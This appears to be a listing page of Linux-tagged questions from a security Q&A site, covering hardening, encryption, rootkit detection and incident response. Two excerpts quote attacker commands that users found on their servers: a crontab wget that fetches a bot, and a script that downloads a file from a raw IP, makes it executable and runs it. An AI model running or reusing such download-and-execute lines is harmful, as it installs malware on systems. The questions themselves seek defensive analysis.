Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

12
votes
5answers
1k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...
12
votes
4answers
454 views

How to safely synchronize time over Internet?

All modern OS now keep accurate time by regularly synchronizing time over an untrusted network - Internet. Could an attacker conducting a MITM attack, influence or change the time of a computer while ...
12
votes
3answers
481 views

Given SSH access, what should I do to protect a server and monitor (dangerous) user actions?

Context: Small business, mostly a software house for web applications but also some desktop software. Many external collaborators, so a variety of outside users with access to the servers. Single ...
12
votes
4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
12
votes
2answers
1k views

RdRand from /dev/random

"Linus Torvalds, in response to a petition on Change.org to remove RdRand from /dev/random, has lambasted the petitioner by called him ignorant for not understanding the code in Linux Kernel. ...
12
votes
2answers
5k views

Available Resources for Securing RHEL 6

Some in our infrastructure group want to upgrade to start taking advantage of the new features in RHEL 6. In the past, I have relied on the NSA Guide to secure RHEL 5 and CentOS 5 installations. I ...
12
votes
6answers
1k views

Securely building a local pentest lab in a VM

I'd like to set up OWASP WebGoat or a similar vulnerable web app in a VM (probably VirtualBox on Linux). For convenience's sake, I'd like to get it running on one of the primary machines I use (say, a ...
12
votes
4answers
606 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
12
votes
5answers
2k views

Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
11
votes
8answers
7k views

How anonymous is my setup?

my friend and I are trying to make the most anonymous setup for a computer to do things across the internet without being known the location from which it came. Our setup is as follows: A windows ...
11
votes
3answers
3k views

Installing Development Tools on Production Server? Security Risk?

I am using an Amazon Linux EC2 instance as a web server. My web app uses ImageMagick. Because the Amazon Linux (CentOS) repository doesn't include an up-to-date version of ImageMagick, I am compiling ...
11
votes
3answers
2k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
11
votes
2answers
5k views

For LUKS: The most preferable and safest cipher?

I'm about to encrypt two of my hard drives using LUKS, since I can't really do it myself I use the guide on the Arch Linux wiki (which can be found here). In an example in the guide the cipher ...
11
votes
3answers
3k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
11
votes
1answer
540 views

Slot machine segfault: what can we determine?

We walked into a casino and saw this near the entrance. I don't have a specific question, but is there anything that would be interesting to share and explain from the image?
11
votes
1answer
657 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
10
votes
2answers
2k views

How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
10
votes
7answers
3k views

Secure memcpy for pure C

Buffer overflows are nothing new. And yet they still appear often, especially in native (i.e. not managed) code... Part of the root cause, is usage of "unsafe" functions, including C++ staples ...
10
votes
2answers
6k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
10
votes
3answers
2k views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
10
votes
1answer
3k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
10
votes
3answers
2k views

Which Linux kernel vulnerabilities allow installing a kernel-level rootkit?

My question is related to vulnerabilities that allow installing a Linux kernel-level rootkit (for example, to modify the execution flow inside the kernel; for return-oriented attacks; or to modify ...
10
votes
1answer
858 views

Relative importance of CHROOT for web servers

I have read extremely mixed opinions on the process of chrooting for a web server (non-shared environment). Some people swear by it, yet others say that it isn't as secure as everyone says. Given ...
10
votes
1answer
2k views

Effects of DDoS attacks on memory use under Linux

Can someone whose Linux system is under DDoS attacks give me exact data on the effects of the Low Orbit Ion Cannon (LOIC), the High Orbit Ion Cannon (HOIC), Slowloris, PyLoris, Hping etc. on memory ...
9
votes
7answers
1k views

How are open-sourced operating systems and software kept secure?

I have been wondering about his for awhile. I have Linux running on a PC at home. I had a jailbroken iPhone. They both have attributes that make them very attractive, and they are also FREE! But I ...
9
votes
6answers
9k views

Good file encryption tools [closed]

Could you please help me find a good file encryption tool? The target OS is Linux, but tools for Windows are welcome, too. FOSS tools are preferred. The tool must be reliable both for the recovery of ...
9
votes
2answers
1k views

Securing my web-server / website [closed]

Does anyone know of a comprehensive security guide about important basics / fundamentals which should be done to secure a web-server / website? A web link would do.
9
votes
2answers
488 views

Running proprietary software on Linux safely

As a summer project, I'm looking to prevent any piece of proprietary software like many games I run from have access to my personal files. After looking a lot at sandboxing, I've decided that anything ...
9
votes
4answers
3k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
9
votes
4answers
625 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
9
votes
4answers
4k views

How to disable Firewire in OpenBSD/Linux to prevent attacks through Firewire?

Since Firewire lacks security, allowing a plugged-in device to access host memory, it's a good thing to fully disable it. If we're not using the BIOS to disable the Firewire port then how could we do ...
9
votes
2answers
1k views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
9
votes
2answers
9k views

Is it possible to use the aircrack-ng tool to crack a WPA2 Enterprise network?

is this tool (aircrack-ng) capable of cracking into a WPA/WPA2 Enterprise network? This tool has major success cracking the passwords of WEP/WPA networks. If it can, how, but if not, is there another ...
9
votes
1answer
1k views

Securing restricted shell environments

I've read a few things to indicate that restricted shells can be broken out of if not implemented properly (even wikipedia, for instance). I'm looking for some guidance on what causes security holes ...
9
votes
2answers
4k views

Recommend Keylogger for Ubuntu?

I purchased a new laptop recently, and I'm working on hardening it. Specifically, I'm interested in increasing my chances of recovering the machine in the event that it's ever stolen. The system ...
9
votes
4answers
3k views

How to detect Meterpreter and similar malware?

Is it possible to find Meterpreter or similar malware which doesn't modify the hard disk but is only stored in RAM? Most common anti-rootkit software like rkhunter and chkrootkit don't find it.
9
votes
1answer
268 views

What shell binary should I use for the root account on a Linux system?

Is there a security advantage to using a different shell for the root account, either a hardened shell program, or simply a shell binary stored in a non-standard location?
9
votes
1answer
1k views

Is Java vulnerable to glibc GHOST Vulnerability in Linux?

I see on our RedHat Linux platform that "java" process has dependency over glibc library: [root@hpproliant1 ~]# ldd /usr/bin/java linux-gate.so.1 => (0xffffe000) libpthread.so.0 => ...
9
votes
1answer
93 views

Security measures and anti-virus on server to mitigate acting as a propagation vector

We have a web application for which I've been asked to add the ability to let users upload documents that will then be visible and downloadable by other users. Those documents will typically be images ...
8
votes
5answers
2k views

How can I remotely wipe the contents of a Linux Laptop if its been stolen?

I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / ...
8
votes
3answers
1k views

How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
8
votes
4answers
8k views

Monitoring system calls (in a reliable and secure way)

It there a reliable method of “monitoring” system calls under Linux? There is strace for example to monitor system calls and signals. Is there a way for a process to dodge out of strace? If yes, is ...
8
votes
4answers
443 views

Best practices for physically securing a notebook

If the user knows that other people will repeatedly have physical access to her notebook - running Linux - while she is absent, and that there is no way around this, what are best practices for ...
8
votes
2answers
616 views

Is a rand from glibc's rand secure for a login key?

Same question as Is a rand from /dev/urandom secure for a login key, but with glibc's rand function instead of /dev/urandom. And what would be a sufficiently secure seed generator?
8
votes
3answers
4k views

Is CentOS a good choice from a security perspective?

How secure is the CentOS Linux distribution? I noticed there were times when there were no up-to-date patches for some version of CentOS (e.g., 5.6). I read this on some mailing list that I can't ...
8
votes
2answers
6k views

How trustworthy is SELinux? [closed]

Given the ongoing leaks concerning mass surveillance and the fact that the NSA is the original developer of SELinux, I'm wondering whether that means that backdoors should be expected in there? As ...
8
votes
4answers
627 views

Does UNIX have a dual approval mechanism?

Sudo and logging is used to keep administrators accountable. But is there a command/configuration that lets you enforce a dual approval type control such as the the "Two Person Concept"? (eg. Two ...
8
votes
2answers
2k views

Best way for a hacker to hide a file on Linux?

Suppose a hacker obtains a shell on my Linux host and wants to hide a file. What's the best way for him to do this? You may assume unprivileged or root access. My thoughts are Use a .file ...
8
votes
2answers
2k views

Is connecting to an open WiFi router with DHCP in Linux susceptible to Shellshock?

Source: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html For the same reason, userland DHCP clients that invoke configuration scripts and use variables to pass down ...
8
votes
8answers
4k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...